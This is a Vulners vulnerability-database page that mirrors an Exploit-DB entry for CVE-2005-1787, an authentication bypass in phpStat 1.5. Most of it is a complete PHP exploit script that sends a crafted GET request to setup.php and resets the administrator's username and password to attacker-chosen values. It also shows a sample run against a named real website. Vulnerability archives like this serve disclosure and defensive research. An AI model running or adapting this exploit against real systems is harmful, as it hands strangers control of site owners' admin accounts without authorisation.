Lucene search
+L

phpStat 1.5 - 'setup.php' Authentication Bypass (PHP) (2)

🗓️ 30 May 2005 00:00:00Reported by Nikyt0xType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 31 Views

PHP Stat 1.5 has an administrative user authentication bypass, allowing unauthorized access.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2005-1787
31 May 200504:00
cve
cvelist
Cvelist
CVE-2005-1787
31 May 200504:00
cvelist
exploitdb
Exploit DB
phpStat 1.5 - 'setup.php' Authentication Bypass
30 May 200500:00
exploitdb
exploitdb
Exploit DB
phpStat 1.5 - 'setup.php' Authentication Bypass (PHP) (1)
30 May 200500:00
exploitdb
euvd
EUVD
EUVD-2005-1789
7 Oct 202500:30
euvd
nvd
NVD
CVE-2005-1787
27 May 200504:00
nvd
<?

/*

**************************************************************
PHP Stat Administrative User Authentication Bypass POC Exploit
     Code by Nikyt0x - Soulblack Security Research
**************************************************************

Advisory:
 http://www.soulblack.com.ar/repo/papers/phpstat_advisory.txt

Saludos:
   Soulblack Staff, Status-x, NeosecurityTeam,
   KingMetal, SWP, Trespasser...

[email protected]
http://www.nikyt0x.tk

**************************************************************
**This Exploit Change Admin Username and Password
**Username: admin
**Password: admin
**************************************************************


php sbphpstatpoc.php www.spazfarm.com /spazstats/setup.php

          ==============================================================
          PHP Stat Administrative User Authentication Bypass POC Exploit
          ==============================================================
                     by Nikyt0x - Soulblack Security Research

     [+] Testing: www.spazfarm.com
     [+] Socket
     [+] Sending Exploit
     [+] OK

     Open www.spazfarm.com/spazstats/setup.php

     Username: admin
     Password: 123456

**************************************************************
*/

// username and password

$username = "admin";
$password = "123456";

function sh0w()
{
echo "\n          ==============================================================\n";
echo "          PHP Stat Administrative User Authentication Bypass POC Exploit\n";
echo "          ==============================================================\n";
echo "                     by Nikyt0x - Soulblack Security Research\n\n";
}

if ($argc != 3)
{
sh0w();
echo "\n\n          Usage:\n                   sbphpstatpoc.php www.site.com /dir/to/setup.php\n";
exit();
}


if(!ereg('setup.php',$argv[2])) {
   echo "URL to setup.php Incorrect.\n";
   exit(0);
}

sh0w();

echo "     [+] Testing: $argv[1]\n";

$s0ck3t = fsockopen($argv[1], 80);

if (!$s0ck3t) {
   echo "     [-] Socket\n";
   exit(0);
} else {

    $petici0n  = "GET $argv[2]?check=yes&username=$username&password=$password HTTP/1.1\r\n";
    $petici0n .= "Host: $argv[1]\r\n";
    $petici0n .= "Connection: Close\r\n\r\n";

   echo "     [+] Socket\n";

if(!fwrite($s0ck3t, $petici0n))
   {
   echo "     [-] Sending Exploit\n";
   exit(0);
   }
echo "     [+] Sending Exploit\n";

 while (!feof($s0ck3t)) {
       $g3tdata = fgets($s0ck3t, 1024);
	   if (eregi('Setup has been updated',$g3tdata))
	   {
	   echo "     [+] OK\n\n";
           echo "     Open $argv[1]$argv[2]\n\n     Username: $username\n     Password: $password\n";
           exit();
           }

}
fclose($s0ck3t);
}

?>

# milw0rm.com [2005-05-30]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Sep 2016 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.12345
31